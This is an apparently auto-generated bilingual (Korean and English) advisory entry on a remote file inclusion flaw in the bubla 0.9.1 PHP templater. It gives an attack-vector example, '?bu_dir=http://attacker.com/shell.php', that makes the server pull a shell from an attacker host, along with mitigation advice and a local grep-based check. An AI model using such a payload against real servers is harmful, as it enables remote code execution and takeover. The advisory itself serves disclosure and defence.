🇰🇷 한글 설명
Vladimir Menshakov의 bubla 0.9.1 템플릿 엔진에서 bu_dir 매개변수 검증 부재로 인한 원격 파일 포함(RFI) 취약점입니다. 공격자는 bu/bu_claro.php, bu/bu_cache.php, bu/bu_parse.php 파일을 통해 악의적인 PHP 코드를 원격에서 실행할 수 있습니다.
💡 쉬운 설명
웹 서버가 외부에서 제공한 파일 경로를 검증 없이 사용하여 해커가 원격 서버의 악성 코드를 실행할 수 있는 취약점입니다. 이를 통해 웹 서버 전체를 장악당할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Vladimir Menshakov buratinable templator (aka bubla) 0.9.1 allow remote attackers to execute arbitrary PHP code via a URL in the bu_dir parameter to (1) bu/bu_claro.php, (2) bu/bu_cache.php, or (3) bu/bu_parse.php, different vectors and a different affected version than CVE-2006-6809.
📍 영향받는 시스템
Vladimir Menshakov buratinable templator (bubla) 0.9.1 및 이하 버전
⚔️ 공격 벡터
GET/POST 요청의 bu_dir 매개변수에 원격 파일 URL 삽입 (예: ?bu_dir=http://attacker.com/shell.php)
🛡️ 대응 방법
bubla를 최신 보안 패치 버전으로 업그레이드하고, 사용자 입력 경로에 대해 화이트리스트 기반 검증 및 필터링 적용
🔧 검증 코드
bubla 관련 PHP 파일이 존재하면 설치 여부를 확인하고, 파일 내 include/require 문을 통해 RFI 가능성을 검증합니다.
find / -name 'bu_*.php' -type f 2>/dev/null | xargs grep -l 'include\|require' | head -3